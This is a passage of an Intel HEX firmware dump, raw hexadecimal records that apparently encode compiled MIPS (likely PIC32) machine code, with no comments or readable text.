cf400121000001018000021e8c0030c00be8fb1\n:10dd04001000bd270800e00300000000f0ffbd275d\n:10dd14000c00beaf21f0a0031000c4af2110a0007e\n:10dd24001400c2a30000c0af5ab7400b00000000ab\n:10dd34001000c28f010043241000c3af00004290c2\n:10dd4400211840001400c293ffff44241400c4a30c\n:10dd5400ffff4224041043000000c38f211062001f\n:10dd64000000c2af1400c293f1ff40140000000091\n:10dd74000000c28f21e8c0030c00be8f1000bd2735\n:10dd84000800e00300000000e0ffbd271c00bfaf57\n:10dd94001800beaf21f0a0032000c4af1000c0af34\n:10dda4002000c48f059d023c9c4745241000c227d7\n:10ddb40021304000b355410f000000001000c28f15\n:10ddc400ff00423021e8c0031c00bf8f1800be8f43\n:10ddd4002000bd270800e00300000000e0ffbd278d\n:10dde4001c00bfaf1800beaf21f0a0032000c4afd9\n:10ddf4002110a0002400c2a31000c0a31100c0a3de\n:10de04009ab7400b000000002000c48f63b7400f96\n:10de1400000000001000c2a31000c2932000422c96\n:10de240005004014000000001000c2937f00422c43\n:10de340003004014000000002e0002241000c2a3be\n:10de4400059d023ca04744241000c227212840001d\n:10de54002013410f000000002000c28f0200422462\n:10de64002000c2af2000c28f000042900600401084\n:10de7400000000002400c293ffff43242400c3a336\n:10de8400e1ff40140000000021e8c0031c00bf8f24\n:10de94001800be8f2000bd270800e003000000002a\n:10dea400e0ffbd271c00bfaf1800beaf21f0a003e8\n:10deb4002000c4af1000c0af2000c48f059d023cf9\n:10dec400a44745241000c22721304000b355410f18\n:10ded4000000000021184000010002240400621028\n:10dee4000000000021100000beb7400b000000003d\n:10def4001000c28f21e8c0031c00bf8f1800be8f22\n:10df04002000bd270800e00300000000d8ffbd2763\n:10df14002400bfaf2000beaf21f0a0032800c4af8f\n:10df24001000c0af2800c48fa34a410f00000000b6\n:10df340021184000080002240400621000000000c0\n:10df440021100000f7b7400b000000001400c0a32c\n:10df5400f2b7400b000000001800c2272800c48f4d\n:10df6400059d033c9c47652421304000b355410f77\n:10df74000000000021184000010002240400621087\n:10df84000000000021100000f7b7400b0000000063\n:10df94001800c38f1400c293c01002000410430081\n:10dfa4001000c38f211062001000c2af2800c28f7e\n:10dfb400020042242800c2af1400c293010042248c\n:10dfc4001400c2a31400c2930400422ce2ff4014c4\n:10dfd400000000001000c28f21e8c0032400bf8f9e\n:10dfe4002000be8f2800bd270800e00300000000c9\n:10dff400a8ffbd275400bfaf5000beaf21f0a0035f\n:10e004005800c4af1000c227212040005800c58f1b\n:10e01400e7b8400f0000000021184000400002242f\n:10e0240004006210000000001800000015b8400b46\n:10e03400000000001000c2272120400040000524f9\n:10e0440010b7400f000000001300400011006000f2\n:10e0540012100000101800001300400011006000ae\n:10e06400121000001018000021e8c0035400bf8ff4\n:10e074005000be8f5800bd270800e00300000000d8\n:10e08400c8ffbd273400bfaf3000beaf2c00b1af16\n:10e094002800b0af21f0a0033800c4af2110000065\n:10e0a400211800001000c2af1400c3af2000c0a3a9\n:10e0b4001800c22704004224212040003000052417\n:10e0c400040006246551410f000000003800c28f8f\n:10e0d400080042241800c3272120600021284000a2\n:10e0e40004000624494a410f000000001800c2271a\n:10e0f40021204000c4b7400f000000001000c2af50\n:10e104001400c0af1000c28f001002001400c2af90\n:10e114001000c0af1800c227212040003800c58f6e\n:10e1240008000624494a410f000000001800c227d5\n:10e1340021204000c4b7400f0000000021804000af\n:10e14400218800001000c48f1400c58f2110900096\n:10e154002b3044002118b1002120c3002118800075\n:10e164001000c2af1400c3af1000c28f1400c38fdd\n:10e17400130040001100600012100000101800008d\n:10e18400130040001100600012100000101800007d\n:10e1940021e8c0033400bf8f3000be8f2c00b18f44\n:10e1a4002800b08f3800bd270800e00300000000fd\n:10e1b400d0ffbd272c00bfaf2800beaf2400b3aff3\n:10e1c4002000b2af1c00b1af1800b0af21f0a00323\n:10e1d4003000c4af3400c5af1100c0a31400c0a305\n:10e1e4001500c0a31600c0a33000c28f2120000078\n:10e1f40021280000000044ac040045ac3400c48f66\n:10e20400a34a410f00000000010042300400401006\n:10e214000000000021100000ddb8400b00000000e9\n:10e224003400c48fa34a410f000000001100422ca7\n:10e2340005004014000000000e0002241000c2a3d8\n:10e24400d9b8400b000000003400c48fa34a410f2a\n:10e2540000000000ff004230feff4224ff00423075\n:10e264001000c2a3d9b8400b000000001000c28304\n:10e274003400c38f21106200000042901400c2a336\n:10e284001000c283010042243400c38f21106200b5\n:10e29400000042901500c2a31400c22721204000b0\n:10e2a400059d023ca8474524ec808627b355410fc1\n:10e2b40000000000040040140000000021100000d1\n:10e2c400ddb8400b000000003000c28f0000448c19\n:10e2d4000400458cec80828f21904000219800003e\n:10e2e4001100c2832000433021300000424012005c\n:10e2f400ffff0724263847000638e8000488530047\n:10e304002588f100048052000b8803020b80c300af\n:10e31400211090002b3044002118b1002120c300ab\n:10e324002118800013004000110060003000c28feb\n:10e334001220000010280000000044ac040045ac8a\n:10e344001100c29308004224ff0042301100c2a30e\n:10e354001000c293feff4224ff0042301000c2a30b\n:10e364001000c283c1ff4104000000000100022428\n:10e3740021e8c0032c00bf8f2800be8f2400b38f78\n:10e384002000b28f1c00b18f1800b08f3000bd2761\n:10e394000800e00300000000d8ffbd272400bfaf41\n:10e3a4002000beaf21f0a0032800c4af2c00c5afed\n:10e3b4001800c0af2c00c48fa34a410f0000000016\n:10e3c4001000c2af3ab9400b000000002c00c28f0d\n:10e3d400010043242c00c3af000042901c00c2a3e0\n:10e3e4001c00c2936100422c08004014000000008d\n:10e3f4001c00c2936700422c04004010000000007f\n:10e404001c00c293e0ff42241c00c2a31c00c29360\n:10e414003000422c0a004014000000001c00c2938b\n:10e424003a00422c06004010000000001c00c29379\n:10e43400d0ff42241c00c2a321b9400b00000000fd\n:10e444001c00c2934100422c0a004014000000004a\n:10e454001c00c2934700422c06004010000000003c\n:10e464001c00c293c9ff42241c00c2a321b9400b63\n:10e47400000000002110000040b9400b0000000023\n:10e484001400c0af36b9400b000000002800c28f52\n:10e49400010043242800c3af1c00c49303000524d7\n:10e4a4001400c38f2318a30007186400ff0063300f\n:10e4b40001006330ff006330000043a01400c28fea\n:10e4c400010042241400c2af1800c28f010042248c\n:10e4d4001800c2af1400c28f0400422cebff40149a\n:10e4e400000000001000c28fffff43241000c3afe0\n:10e4f400b6ff4014000000001800c28f21e8c003da\n:10e504002400bf8f2000be8f2800bd270800e00331\n:10e5140000000000e0ffbd271c00bfaf1800beaf25\n:10e5240021f0a0032000c4af2400c5af2000c48f95\n:10e534002400c58fe7b8400f000000001000c2aff0\n:10e544001000c28f040040140000000021100000dd\n:10e554005db9400b000000002000c48f2000c58f6f\n:10e564001000c68faaba400f000000001000c28f2e\n:10e5740021e8c0031c00bf8f1800be8f2000bd27f8\n:10e584000800e00300000000e0ffbd271c00bfaf4f\n:10e594001800beaf21f0a0032000c4af2400c5af13\n:10e5a4002800c6af2800c28f1400c2af2800c28f53\n:10e5b4000500422c05004010000000002800c28f16\n:10e5c4001200c2a3a3b9400b0000000004000224ff\n:10e5d4001200c2a3a3b9400b000000001100c0a3a5\n:10e5e4001100c2931000c2a391b9400b00000000b7\n:10e5f4001000c2932400c38f2110620000004290d7\n:10e60400211840001200c293ffff44241000c2935b\n:10e614002310820004104300ff0043301100c29312\n:10e62400211062001100c2a31000c2930100422411\n:10e634001000c2a31400c28fffff42241400c2af13\n:10e644001000c2930400422ce9ff401400000000b3\n:10e654001100c2932000c48f059d033ca847652484\n:10e6640021304000ac54410f000000002000c28f54\n:10e67400010042242000c2af1000c2932400c38fc3\n:10e68400211062002400c2af1400c28fd3ff4014d3\n:10e69400000000002800c28f21e8c0031c00bf8fc7\n:10e6a4001800be8f2000bd270800e0030000000012\n:10e6b400e8ffbd271400bfaf1000beaf21f0a003d8\n:10e6c4001800c4af1c00c5afbeb9400b0000000069\n:10e6d4001800c28f010043241800c3af0000429009\n:10e6e400059d033cac476424212840008513410f59\n:10e6f400000000001c00c28fffff43241c00c3afb6\n:10e70400f3ff40140000000021e8c0031400bf8f91\n:10e714001000be8f1800bd270800e00300000000b1\n:10e72400d8ffbd272400bfaf2000beaf21f0a00357\n:10e734002800c4af2c00c5af2c00c48fa34a410fde\n:10e74400000000001400c2af1400c28f1800c2af52\n:10e754001800c28f0500422c050040100000000084\n:10e764001800c28f1200c2a312ba400b00000000ae\n:10e77400040002241200c2a312ba400b00000000dd\n:10e784001100c0a31100c2931000c2a3fab9400b38\n:10e79400000000001000c2932c00c38f21106200ff\n:10e7a40000004290d0ff43241200c293ffff442490\n:10e7b4001000c2932310820004104300ff00433072\n:10e7c4001100c293211062001100c2a31000c29371\n:10e7d400010042241000c2a31400c28fffff422490\n:10e7e4001400c2af1000c2930400422c0700401072\n:10e7f400000000001000c2932c00c38f211062009f\n:10e8040000004290e3ff4014000000001100c29396\n:10e814002800c48f059d033ca8476524213040008f\n:10e82400ac54410f000000002800c28f01004224b4\n:10e834002800c2af1000c2932c00c38f21106200c5\n:10e844002c00c2af1400c28fcdff401400000000a2\n:10e854001800c28f21e8c0032400bf8f2000be8fa0\n:10e864002800bd270800e00300000000f0ffbd27da\n:10e874000c00beaf21f0a0031000c4af1400c5af5c\n:10e884002110c0001800c2a30000c0a31000c28f52\n:10e89400000040a03dba400b000000001000c28ff1\n:10e8a400000043901800c293ffff42241400c48f59\n:10e8b4002110820000004290d0ff44240000c29343\n:10e8c40004104400ff00423021106200ff00433076\n:10e8d4001000c28f000043a01800c293ffff42241f\n:10e8e4001800c2a30000c293010042240000c2a386\n:10e8f4001800c293e9ff40140000000021e8c0039f\n:10e904000c00be8f1000bd270800e00300000000cb\n:10e91400f8ffbd270400beaf21f0a003211880003a\n:10e924002110a0000800c3a30c00c2a30800c393d5\n:10e934000c00c29307104300ff0042300100423034\n:10e94400ff00423021e8c0030400be8f0800bd2749\n:10e954000800e00300000000e8ffbd271400bfaf7b\n:10e964001000beaf21f0a0031800c4af1c00c5af57\n:10e974002000c6af6cba400b000000001800c38f23\n:10e98400010062241800c2af1c00c28f010044249d\n:10e994001c00c4af21206000059d033ca8476524ea\n:10e9a40021304000ac54410f000000002000c28f11\n:10e9b400ffff43242000c3aff0ff40140000000019\n:10e9c40021e8c0031400bf8f1000be8f1800bd27bc\n:10e9d4000800e00300000000e0ffbd271c00bfaffb\n:10e9e4001800beaf21f0a0032000c4af2400c5afbf\n:10e9f4002400c48fa34a410f000000001400c2afda\n:10ea04001000c0af9eba400b000000002400c28f6b\n:10ea1400000043903000022409006210000000004e\n:10ea24002400c28f000043903100022404006210cd\n:10ea34000000000021100000a4ba400b00000000f8\n:10ea44002000c28f010043242000c3af2400c38fe1\n:10ea5400010064242400c4af00006390d0ff632449\n:10ea6400ff006330000043a01000c28f0100422465\n:10ea74001000c2af1000c38f1400c28f2b106200ad\n:10ea8400e2ff4014000000001400c28f21e8c0031c\n:10ea94001c00bf8f1800be8f2000bd270800e003b4\n:10eaa40000000000f0ffbd270c00beaf21f0a00362\n:10eab4001000c4af1400c5af1800c6af0000c0af4b\n:10eac400c0ba400b000000001000c28f01004324b4\n:10ead4001000c3af1400c38f010064241400c4af3a\n:10eae4000000639030006324ff006330000043a003\n:10eaf4000000c28f010042240000c2af0000c38f97\n:10eb04001800c28f2b106200efff401400000000b9\n:10eb14001000c28f000040a021e8c0030c00be8f8b\n:10eb24001000bd270800e00300000000f8ffbd2727\n:10eb34000400beaf21f0a0030800c4af0c00c5afb1\n:10eb44001000c6afdeba400b000000000800c28f00\n:10eb5400010043240800c3af0c00c38f01006424e8\n:10eb64000c00c4af000063900100632cff0063300d\n:10eb7400000043a01000c28fffff43241000c3af66\n:10eb8400f2ff40140000000021e8c0030400be8f1f\n:10eb94000800bd270800e00300000000e0ffbd27d7\n:10eba4001c00bfaf1800beaf21f0a0032000c4af0b\n:10ebb4002400c5af2400c48fa34a410f0000000005\n:10ebc4001000c2af03bb400b000000002000c28f46\n:10ebd400010043242000c3af2400c38f0100642438\n:10ebe4002400c4af000064903000032404008314a4\n:10ebf400000000003100032402bb400b00000000b1\n:10ec040030000324000043a01000c28fffff432400\n:10ec14001000c3afedff40140000000021e8c00362\n:10ec24001c00bf8f1800be8f2000bd270800e00322\n:10ec340000000000e0ffbd271c00bfaf1800beaffe\n:10ec440021f0a0032000c4af00a0023cdc1c44243b\n:10ec54002000c58fe7b8400f000000001000c2afcd\n:10ec640000a0023cdc1c44241000c58f3cbb400fb8\n:10ec74000000000021e8c0031c00bf8f1800be8ff5\n:10ec84002000bd270800e00300000000e8ffbd27c6\n:10ec94001400bfaf1000beaf21f0a0031800c4af32\n:10eca40000a0023cdc1c44241800c58fc9b9400fe5\n:10ecb400000000000700401000000000059d023c19\n:10ecc400b447442400a0023cdc1c45242013410f1b\n:10ecd4000000000021e8c0031400bf8f1000be8fa5\n:10ece4001800bd270800e00300000000e8ffbd276e\n:10ecf4001400bfaf1000beaf21f0a0031800c4afd2\n:10ed04001c00c5af5cbb400b000000001800c28fa4\n:10ed1400000042900200422c0a004014000000004f\n:10ed24001800c28f00004290059d033cbc47642438\n:10ed3400212840008513410f0000000059bb400bff\n:10ed4400000000001800c28f00004290059d033ca3\n:10ed5400c0476424212840008513410f00000000af\n:10ed64001800c28f010042241800c2af1c00c28fd9\n:10ed7400ffff43241c00c3afe4ff40140000000065\n:10ed8400059d023ca0474424059d023cc4474524fc\n:10ed94002013410f0000000021e8c0031400bf8fbe\n:10eda4001000be8f1800bd270800e003000000001b\n:10edb400e0f7bd271c08bfaf1808beaf21f0a003c1\n:10edc4002008c4af2408c5af2808c6af1000c0afe0\n:10edd40099bb400b000000002408c28f01004324ab\n:10ede4002408c3af0000429010004010000000004f\n:10edf4001000c28f010043241000c3af1000c327ca\n:10ee04002110620001000324040043a01000c28ffb\n:10ee1400010043241000c3af1000c3272110620077\n:10ee2400040040a099bb400b000000001000c28ffa\n:10ee3400010043241000c3af1000c3272110620057\n:10ee4400040040a01000c28f010043241000c3af8f\n:10ee54001000c3272110620001000324040043a012\n:10ee64002808c28fffff43242808c3afdaff4014e9\n:10ee7400000000001400c2272008c48f212840008d\n:10ee84001000c68f494a410f000000001000c28fd5\n:10ee940021e8c0031c08bf8f1808be8f2008bd27b7\n:10eea4000800e00300000000f0ffbd270c00beaf27\n:10eeb40021f0a0031000c4af1400c5af1800c6af02\n:10eec4000000c0afcbbb400b000000001400c28f99\n:10eed400000043901400c28f0100422400004290bd\n:10eee40005006214000000000000c28f42100200fe\n:10eef400d2bb400b000000001000c28f010043246d\n:10ef04001000c3af1400c38f00006390000043a03f\n:10ef14001400c28f020042241400c2af0000c28f4a\n:10ef2400020042240000c2af0000c38f1800c28f49\n:10ef34002b106200e5ff4014000000000000c28fa7\n:10ef44004210020021e8c0030c00be8f1000bd2750\n:10ef54000800e00300000000f0ffbd270c00beaf76\n:10ef640021f0a0031000c4af0000c0aff6bb400bfb\n:10ef7400000000000000c28f1000c38f2110620047\n:10ef8400000043800d00022408006210000000000d\n:10ef94000000c28f1000c38f211062000000438064\n:10efa4000a00022408006214000000000000c28f5e\n:10efb4001000c38f21106200000040a01000c28f17\n:10efc400fdbb400b000000000000c28f0100422482\n:10efd4000000c2af0000c28f1000c38f2110620076\n:10efe40000004280e3ff4014000000001000c28fc4\n:10eff40021e8c0030c00be8f1000bd270800e00309\n:10f0040000000000e8ffbd271400bfaf1000beaf32\n:10f0140021f0a0031800c4afd880829314004014d8\n:10f02400000000001800c28f09004010000000001a\n:10f03400059d023ca0474424059d023cc847452445\n:10f044002013410f000000002ebc400b0000000004\n:10f05400059d023ca0474424059d023ccc47452421\n:10f064002013410f000000002ebc400b00000000e4\n:10f074001800c28f0900401000000000059d023cea\n:10f08400a0474424059d023cc44745242013410f56\n:10f09400000000002ebc400b00000000059d023c57\n:10f0a400a0474424059d023cd04745242013410f2a\n:10f0b400000000000100022421e8c0031400bf8ff7\n:10f0c4001000be8f1800bd270800e00300000000f8\n:10f0d400e8ffbd271400bfaf1000beaf21f0a003ae\n:10f0e4001800c4afd88082930800401400000000c8\n:10f0f400059d023cdc4744241800c58f2013410fb2\n:10f104000000000049bc400b00000000059d023ccb\n:10f11400e44744241800c58f2013410f0000000069\n:10f124000100022421e8c0031400bf8f1000be8f29\n:10f134001800bd270800e00300000000e8ffbd2719\n:10f144001400bfaf1000beaf21f0a003d88082939b\n:10f154000700401400000000059d023ca047442421\n:10f16400059d023cf04745242013410f0000000098\n:10f174002110000021e8c0031400bf8f1000be8fcf\n:10f184001800bd270800e00300000000d8ffbd27d9\n:10f194002400bfaf2000beaf1c00b0af21f0a0031d\n:10f1a4002800c4af1000c0af8abc400b00000000b0\n:10f1b4001000c28f2800c38f21106200000042801b\n:10f1c4006100422814004014000000001000c28fa7\n:10f1d4002800c38f21106200000042807b00422877\n:10f1e4000d004010000000001000c28f2800c38fe3\n:10f1f400211062001000c38f2800c48f21188300df\n:10f2040000006380ff006330e0ff6324ff0063308d\n:10f21400201c037c000043a01000c28f0100422484\n:10f224001000c2af1000d08f2800c48fa34a410f32\n:10f23400000000002b100202ddff4014000000005b\n:10f244009abc400b000000002800c48fa34a410f61\n:10f2540000000000ffff42242800c38f2110620039\n:10f26400000040a02800c48fa34a410f0000000002\n:10f27400ffff42242800c38f211062000000438056\n:10f2840020000224f0ff62100000000021e8c00307\n:10f294002400bf8f2000be8f1c00b08f2800bd2724\n:10f2a4000800e00300000000e8ffbd271400beaf23\n:10f2b40021f0a0031800c4af1c00c5af1c00c28f0e\n:10f2c400421002000400c2af1800c28f0000c2af97\n:10f2d400cdbc400b000000001c00c28fffff422485\n:10f2e4001800c38f21106200000042900800c2a3de\n:10f2f4001c00c28fffff42241800c38f211062003c\n:10f304000000c38f00006390000043a00000c28f80\n:10f314000800c393000043a00000c28f01004224f0\n:10f324000000c2af1c00c28fffff42241c00c2af0a\n:10f334001c00c38f0400c28f2b104300e6ff40144f\n:10f344000000000021e8c0031400be8f1800bd2790\n:10f354000800e00300000000f0ffbd270c00beaf72\n:10f3640021f0a0031000c4af1400c5af1400c28f75\n:10f374000100423004004010000000002110000091\n:10f38400fabc400b00000000f6bc400b000000007b\n:10f394001000c28f000042900000c2a31000c28f70\n:10f3a400010043901000c28f000043a01000c28fe0\n:10f3b400010042240000c393000043a01400c28f44\n:10f3c400feff42241400c2af1000c28f0200422488\n:10f3d4001000c2af1400c28fedff40140000000003\n:10f3e4000100022421e8c0030c00be8f1000bd27d9\n:10f3f4000800e00300000000f0ffbd270c00beafd2\n:10f4040021f0a0031000c4af2110a0001800c6af63\n:10f414001400c2a30000c0af14bd400b00000000e4\n:10f424001800c28fffff42241000c38f2110620016\n:10f43400000042900000c38f211062000000c2afa0\n:10f444001800c28fffff42241800c2af1800c28ff9\n:10f45400f3ff4014000000000000c28f010042309e\n:10f464000000c2af0000c28fff0043301400c293fb\n:10f4740026106200ff00423021e8c0030c00be8f5a\n:10f484001000bd270800e00300000000e8ffbd27ce\n:10f494001400bfaf1000beaf21f0a0031800c4af2a\n:10f4a40001000424ff0d410f000000003cbd400b8f\n:10f4b400000000001800c28f0c0040100000000083\n:10f4c40021200000ff0d410f000000002118400022\n:10f4d4001800c28f2b1043000400401000000000ed\n:10f4e400211000005cbd400b0000000088bf023cfe\n:10f4f400d060428c00014230eeff4010000000005a\n:10f5040001000424ff0d410f0000000054bd400b16\n:10f51400000000001800c28f0c0040100000000022\n:10f5240021200000ff0d410f0000000021184000c1\n:10f534001800c28f2b10430004004010000000008c\n:10f54400211000005cbd400b0000000088bf023c9d\n:10f55400d060428c00014230eeff401400000000f5\n:10f5640021200000170e410f0000000021e8c00315\n:10f574001400bf8f1000be8f1800bd270800e003e1\n:10f5840000000000e8ffbd271400bfaf1000beafad\n:10f5940021f0a0031800c4af01000424ff0d410fa3\n:10f5a400000000007abd400b000000001800c28f6c\n:10f5b4000c0040100000000021200000ff0d410f4e\n:10f5c40000000000211840001800c28f2b104300d7\n:10f5d4000400401000000000211000009abd400b00\n:10f5e4000000000088bf023cd060428c0001423021\n:10f5f400eeff40140000000001000424ff0d410f41\n:10f604000000000092bd400b000000001800c28ff3\n:10f614000c0040100000000021200000ff0d410fed\n:10f6240000000000211840001800c28f2b10430076\n:10f634000400401000000000211000009abd400b9f\n:10f644000000000088bf023cd060428c00014230c0\n:10f65400eeff40100000000021200000170e410fb3\n:10f664000000000021e8c0031400bf8f1000be8f0b\n:10f674001800bd270800e00300000000e8ffbd27d4\n:10f684001400bfaf1000beaf21f0a0031800c4af38\n:10f694001c00c5af212000001800c58f1c00c68fb8\n:10f6a40021100724b2bd400f0000000021e8c00370\n:10f6b4001400bf8f1000be8f1800bd270800e003a0\n:10f6c40000000000e8ffbd271400beaf21f0a00336\n:10f6d4001800c4af1c00c5af2000c6af2400c7afdc\n:10f6e4000000c0afe7bd400b000000001c00c38f4a\n:10f6f4000000c28f21106200000042900800c2afd7\n:10f704000800c28f001202000800c2af0400c0af9c\n:10f71400ddbd400b000000001800c38f0800c28f3d\n:10f7240026106200008042300800401000000000f3\n:10f734001800c28f401802002400c28f26106200f5\n:10f744001800c2afd7bd400b000000001800c28fe4\n:10f75400401002001800c2af0800c28f401002001f\n:10f764000800c2af0400c28f010042240400c2afeb\n:10f774000400c28f0800422ce7ff40140000000080\n:10f784001800c28fffff42301800c2af0000c28fc2\n:10f79400010042240000c2af0000c38f2000c28fca\n:10f7a4002b106200d1ff4014000000001800c28f2b\n:10f7b40021e8c0031400be8f1800bd270800e00331\n:10f7c40000000000e8ffbd271400bfaf1000beaf6b\n:10f7d40021f0a003211080001800c2a303be400b37\n:10f7e40000000000059d023ca0474424059d023c06\n:10f7f400f44745242013410f000000001800c29371\n:10f80400ffff42241800c2a31800c293f5ff40145e\n:10f814000000000021e8c0031400bf8f1000be8f59\n:10f824001800bd270800e00300000000e8ffbd2722\n:10f834001400bfaf1000beaf21f0a003059d023c31\n:10f84400a0474424059d023cf84745242013410f5a\n:10f854000000000021e8c0031400bf8f1000be8f19\n:10f864001800bd270800e00300000000e8ffbd27e2\n:10f874001400bfaf1000beaf21f0a0031800c4af46\n:10f884001c00c5af059d023ca0474424059d023cd5\n:10f89400c44745242013410f000000001c00c28f00\n:10f8a4000000429021204000f2bd400f0000000003\n:10f8b400059d023c204844241800c58f2013410fa5\n:10f8c400000000001c00c28f00004290020042248d\n:10f8d400ff0043301c00c28f000043a021e8c00396\n:10f8e4001400bf8f1000be8f1800bd270800e0036e\n:10f8f40000000000e8ffbd271400bfaf1000beaf3a\n:10f9040021f0a0031800c4af1c00c5af2000c6af8f\n:10f914002000c28f0700401000000000059d023c3b\n:10f92400a0474424059d023cc44745242013410fad\n:10f93400000000001c00c28f000042900200422c14\n:10f9440009004014000000001c00c28f0000429017\n:10f95400feff4224ff0043301c00c28f000043a07e\n:10f964005dbe400b000000001c00c28f000040a0e0\n:10f974002000c28f06004010000000001c00c28f4f\n:10f984000000429021204000f2bd400f0000000022\n:10f99400059d023c284844241800c58f2013410fbc\n:10f9a4000000000021e8c0031400bf8f1000be8fc8\n:10f9b4001800bd270800e00300000000e8ffbd2791\n:10f9c4001400bfaf1000beaf21f0a0031800c4aff5\n:10f9d4002110a0001c00c2a3059d023ca0474424a2\n:10f9e400059d023cc44745242013410f000000003c\n:10f9f4001c00c29321204000f2bd400f0000000013\n:10fa0400059d023ca04744241800c58f2013410fd4\n:10fa14000000000021e8c0031400bf8f1000be8f57\n:10fa24001800bd270800e00300000000e8ffbd2720\n:10fa34001400bfaf1000beaf21f0a0031800c4af84\n:10fa44001c00c5af2000c6af1800c48f2000c58fae\n:10fa54001cbe400f00000000059d023ca04744244a\n:10fa64001c00c58f2013410f000000001800c48f34\n:10fa74002000c58f213000003ebe400f0000000072\n:10fa840021e8c0031400bf8f1000be8f1800bd27eb\n:10fa94000800e00300000000e0ffbd271c00bfaf2a\n:10faa4001800beaf21f0a0032000c4af2110a000b5\n:10fab4002800c6af2400c2a32000c48f2800c58f2d\n:10fac4001cbe400f000000002400c2931000c32796\n:10fad40021206000059d033cc0476524213040007f\n:10fae400ac54410f00000000059d023ca047442493\n:10faf4001000c227212840002013410f00000000fd\n:10fb04002000c48f2800c58f213000003ebe400f66\n:10fb14000000000021e8c0031c00bf8f1800be8f46\n:10fb24002000bd270800e00300000000e0ffbd271f\n:10fb34001c00bfaf1800beaf21f0a0032000c4af6b\n:10fb44002118a0002800c6af2110e0002400c3a3a0\n:10fb54002c00c2a31000c0aff6be400b0000000092\n:10fb64001000c28f1f0042300b0040140000000040\n:10fb7400059d023ca0474424059d023cc4474524fe\n:10fb84002013410f000000002c00c29321204000ec\n:10fb9400f2bd400f000000002000c38f1000c28f90\n:10fba40021106200000043902400c29324106200dc\n:10fbb400ff004230059d033cac47642421284000eb\n:10fbc4008513410f000000001000c28f0100422481\n:10fbd4001000c2af1000c38f2800c28f2b10620028\n:10fbe400dfff40140000000021e8c0031c00bf8fa9\n:10fbf4001800be8f2000bd270800e00300000000ad\n:10fc0400e8ffbd271400bfaf1000beaf21f0a00372\n:10fc14001800c4af1c00c5af2110c0002400c7af3a\n:10fc24002000c2a31800c48f2800c58f1cbe400f3b\n:10fc3400000000002000c3932800c28f00004290ff\n:10fc44001c00c48f212860002400c68f2138400086\n:10fc5400ccbe400f000000001800c48f2800c58fe0\n:10fc6400010006243ebe400f0000000021e8c0034e\n:10fc74001400bf8f1000be8f1800bd270800e003da\n:10fc840000000000e0ffbd271c00bfaf1800beaf9e\n:10fc940021f0a003059d023cb8374424059d023c95\n:10fca400bc3745242013410f00000000010002244a\n:10fcb4001000c2a33ebf400b000000001000c3931d\n:10fcc40000a0023c80180300187142242110620035\n:10fcd4000000428c059d033cd43764242128400055\n:10fce4002013410f000000001000c29301004224c1\n:10fcf4001000c2a31000c39300a0023c80180300ac\n:10fd040018714224211062000000428cebff401461\n:10fd140000000000059d023cb8374424059d023cc8\n:10fd2400dc3745242013410f0000000021e8c00304\n:10fd34001c00bf8f1800be8f2000bd270800e00301\n:10fd440000000000e0ffbd271c00bfaf1800beafdd\n:10fd540021f0a0032000c4af1000c0a36cbf400b6f\n:10fd6400000000001000c39300a0023c80180300b0\n:10fd740018714224211062000000428c2000c48fbc\n:10fd840021284000734d410f00000000040040147e\n:10fd9400000000001000c29375bf400b000000007b\n:10fda4001000c293010042241000c2a31000c393a8\n:10fdb40000a0023c80180300187142242110620044\n:10fdc4000000428ce7ff40140000000021100000f6\n:10fdd40021e8c0031c00bf8f1800be8f2000bd2780\n:10fde4000800e00300000000e8ffbd271400bfafd7\n:10fdf4001000beaf21f0a003211080001800c2a3a0\n:10fe04001800c2931300432c31006010000000005e\n:10fe140080180200039d023c30fe4224211062003f\n:10fe24000000428c0800400000000000d4fe029d47\n:10fe34007cfe029d7cfe029d7cfe029d7cfe029d5a\n:10fe44007cfe029d7cfe029da4fe029db0fe029dee\n:10fe5400d4fe029dbcfe029dd4fe029dd4fe029df2\n:10fe6400d4fe029dd4fe029dd4fe029dc8fe029dd6\n:10fe7400d4fe029d98fe029d00a0023cd8574290f9\n:10fe8400212040007bbf400f00000000b6bf400ba4\n:10fe94000000000020000224b6bf400b0000000058\n:10fea40020000224b6bf400b000000002000022402\n:10feb400b6bf400b0000000020000224b6bf400b78\n:10fec4000000000020000224b6bf400b0000000028\n:10fed4002110000021e8c0031400bf8f1000be8f62\n:10fee4001800bd270800e00300000000e0ffbd2764\n:10fef4001c00bfaf1800beaf1400b0af21f0a003c8\n:10ff0400211080002000c2a32000c2931300432cc0\n:10ff1400380060100000000080180200039d023cbd\n:10ff240038ff4224211062000000428c0800400087\n:10ff340000000000f8ff029d84ff029d84ff029de3\n:10ff440084ff029d84ff029d84ff029d84ff029d25\n:10ff5400c8ff029dd4ff029df8ff029de0ff029db1\n:10ff6400f8ff029df8ff029df8ff029df8ff029d35\n:10ff7400f8ff029decff029df8ff029dbcff029d6d\n:10ff840000a0023cdc564224b000508c00a0023c8d\n:10ff9400d8574290212040007bbf400f0000000052\n:10ffa4001b000202f40140001010000012100000b7\n:10ffb400ffbf400b000000000e000224ffbf400bf7\n:10ffc4000000000040000224ffbf400b00000000be\n:10ffd40008000224ffbf400b0000000008000224b8\n:10ffe400ffbf400b0000000008000224ffbf400bcd\n:10fff400000000002110000021e8c0031c00bf8f96\n:020000041d03da\n:100004001800be8f1400b08f2000bd270800e00345\n:1000140000000000f8ffbd270400beaf21f0a003dc\n:10002400211080000800c2a30800c2931600432ccc\n:100034004b0060100000000080180200039d023c89\n:1000440058004224211062000000428c0800400045\n:10005400000000006401039db000039db000039df7\n:10006400b000039db000039db000039db000039d4c\n:100074000401039d1001039dbc00039d3401039df5\n:10008400d400039d1c01039d2801039d4c01039d85\n:10009400ec00039d4001039de000039dc800039d07\n:1000a4006401039df800039d5801039d000102248f\n:1000b4005ac0400b00000000400002245ac0400b0c\n:1000c40000000000c00102245ac0400b00000000e0\n:1000d400600002245ac0400b0000000060000224ab\n:1000e4005ac0400b00000000800002245ac0400b9c\n:1000f40000000000700002245ac0400b0000000001\n:10010400000802245ac0400b000000000001022431\n:100114005ac0400b00000000400002245ac0400bab\n:1001240000000000e00002245ac0400b0000000060\n:10013400000102245ac0400b000000000001022408\n:100144005ac0400b00000000400002245ac0400b7b\n:1001540000000000400002245ac0400b00000000d0\n:100164002110000021e8c0030400be8f0800bd2751\n:100174000800e00300000000e0fdbd271c02bfaf43\n:100184001802beaf21f0a00300a0023cdc564224ba\n:10019400870042901100c2a3059d023cb837442455\n:1001a400059d023cdc3745242013410f000000006c\n:1001b400010002241000c2a393c0400b0000000001\n:1001c4001000c39300a0023c80180300187142245d\n:1001d400211062000000428c059d033ce03764243a\n:1001e400212840002013410f000000001000c2939a\n:1001f40021204000abc0400f0000000000a0023ce2\n:10020400dc